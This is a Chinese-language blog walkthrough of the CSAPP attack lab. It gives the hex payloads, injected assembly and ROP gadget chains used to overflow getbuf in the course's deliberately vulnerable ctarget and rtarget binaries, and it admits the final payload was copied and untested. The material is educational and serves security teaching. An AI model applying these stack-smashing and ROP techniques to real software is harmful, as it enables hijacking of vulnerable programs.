CSAPP实验-attacklab超详解

实验文档很重要!很重要!很重要!!!

准备工作

objdump -d ctarget > ctarget.asm

objdump -d rtarget > rtarget.asm

生成反汇编文件。

由于不在cmu服务器,运行时需要加-q。

hex2raw工具:将十六进制转换为原始二进制文件。

./hew2raw < c1.txt > c1raw.txt

以文件为输入调试:

gdb ctarget
(gdb)r -qi c1raw.txt

ctarget1

任务:getbuf执行结束后不返回test,返回touch1。

由csapp的知识可知,我们需要把getbuf分配的写入缓冲区空间覆盖,并将ret返回地址更改为touch1的地址。

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

由getbuf反汇编可以看到,初始时分配了0x28的栈空间用于写入,也就是40个字节,所以我们需要把这40个字节填充,再将touch1的地址写入,这样就把原来ret返回的地址覆盖为touch1的地址。

根据ctarget.asm文件,touch1的地址为4017c0,小端法输入(x86采用小端储存)至c1.txt。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

转换为c1raw.txt,输入调试,攻击成功:

ctarget2

任务:getbuf执行结束后返回touch2,而touch2函数需要参数cookie,跳转进touch2前需把cookie参数传入。

根据实验文档的advice,第一个参数的寄存器为rdi,不能使用jmp和call进行跳转,要用ret来实现。

ret指令是把栈中存放的地址弹出作为下一条指令的地址,相当于pop rip。

考察的是code injection attack嘛,要注入代码实现:将cookie存储到寄存器rdi中,然后利用ret跳转至touch2。我这里cookie值为0x59b997fa,touch2地址为4017ec。

getbuf要返回到注入代码的开头,为了简便,我们就直接把注入代码写到getbuf分配的写入缓冲区里,所以ret地址应该覆盖为getbuf分配栈帧后的栈顶地址,利用gdb查看得到栈顶地址为0x5561dc78。

编写的汇编代码保存为c2.s。

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

然后执行:

gcc -c c2.s
objdump -d c2.o > c2.d

得到注入代码的字节级表示:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

c2.txt:

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

转换后输入调试,攻击成功:

ctarget3

任务:类似ctarget2,但是需要传入cookie的字符串作为参数,返回函数为touch3。

根据实验文档的advice,hexmatch和strncmp被调用时会覆盖getbuf的栈,所以我们需要仔细考虑把cookie字符串存在哪里。

那我们不妨将cookie字符串存在test的栈上。也就是说,在覆盖完ret地址为getbuf写入缓冲区栈顶地址后,我们继续覆盖test的栈顶地址,利用gdb查看为0x5561dca8,将cookie字符串存在这里。

touch3的地址为0x4018fa

man ascii查看得到cookie作为字符串转换的ASCII:

35 39 62 39 39 37 66 61

注入代码:

movq    $0x5561dca8, %rdi
pushq   $0x4018fa
ret

注意此处和ctarget2的区别,touch2函数传入的是cookie值本身,而touch3函数传入的是指针(实验文档中给的很清楚),所以ctarget2中注入代码传给rdi的是cookie值的立即数,ctarget3这里传入的是test的栈顶地址,调用touch3时会根据这个地址找到存在test栈中的cookie字符串ASCII。

机器码:

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

c3.txt:

48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

转换输入调试,攻击成功:

rtarget1

任务:利用ROP的方法实现ctarget2。

gadget方法其实很好理解,就是在原有代码中找到你需要的段,然后拼接实现你想要实现的。所以任务其实是寻找代码段实现ctarget2的注入代码:

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

但是我们不可能找到这样带立即数赋值的gadget,所以要曲线救国,借用寄存器实现赋值。

advice提示我们用两个gadget就可以完成,并且提示我们popq指令,popq用于将值从栈中弹出到一个寄存器或内存位置。我们可以将cookie的值存在栈上,再pop rdi,将cookie的值赋给rdi,再设置ret值为touch2的地址即可。

查表可知pop rdi的机器码为5f,但在rtarget.asm中查找不到类似这样的用法,所以只能再倒换一下,先将cookie存在rax寄存器中,再把rax赋给rdi。

查表值pop rax的机器码为58,查找得:

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

所以pop rax的地址为4019ab。

同理查表movq rax,rdi的机器码为48 89 c7,查找得:

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq 

所以move rax,rdi的地址为4019a3。

(move rax,rdi的地址不唯一。)

编写r1.txt的顺序即先填满缓冲区,然后覆盖返回值为pop rax的地址,弹出存储到rax的cookie的值,movq rax,rdi的地址,然后返回到touch2的地址。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a3 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

转换后输入调试,攻击成功:

rtarget2

任务:同理,用ROP的方法实现ctarget3。

实验文档主要在劝退哈,表明了本题分值小、难度大,提示考虑movl,也就是四个字节的寄存器表示,以及官方答案用到了八个寄存器,量力而行。

也就是寻找gadget实现:

movq    $0x5561dca8, %rdi
pushq   $0x4018fa
ret

由ctarget3我们知道,0x5561dca8是存储cookie字符串对于ASCII的地址,是test栈上一个确定的地址。但在rtarget下,栈的位置随机,我们没办法把cookie放在一个绝对地址上。

所以我们要找一个基准,rsp。

touch3函数的栈会被覆盖更改,所以还是应该放在test的栈上,且由于我们还要在栈上填写gadget地址,所以实际存放cookie字符串ASCII的地方距离rsp有一个偏移量,这个偏移量我们最终根据插入的指令条数可以计算出来,所以最后应该赋给rdi的是rsp+偏移量。根据反汇编文件,我们需要用lea指令来代替加法运算:

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   

所以理想状态下的我们要实现的代码应该是:

movq %rsp,%rax
movq %rax,%rdi
popq %rsi
//偏移量(6*8=48=0x30)
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
//touch3地址
//cookie字符串ASCII

但是,popq rsi在farm中找不到对应地址,所以又得曲线救国,这就是官方答案用了八个寄存器和movl的原因。解决如何将偏移量存入rsi的过程中多出来很多个movl,最终的代码是:

movq %rsp,%rax
movq %rax,%rdi
popq %rax
//偏移量(9×8=0x48)
movl %eax,%ecx
movl %ecx,%edx
movl %edx,%esi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
//touch3地址
//cookie字符串ASCII

要一点点试,所以官方劝退,我没试嗷,答案搬运工罢辽_(:з」∠)_

r2.txt:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
ad 1a 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
cc 19 40 00 00 00 00 00 
48 00 00 00 00 00 00 00 
dd 19 40 00 00 00 00 00 
70 1a 40 00 00 00 00 00 
13 1a 40 00 00 00 00 00 
d6 19 40 00 00 00 00 00 
a2 19 40 00 00 00 00 00 
fa 18 40 00 00 00 00 00 
35 39 62 39 39 37 66 61

转换输入调试,攻击成功:

Over!

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值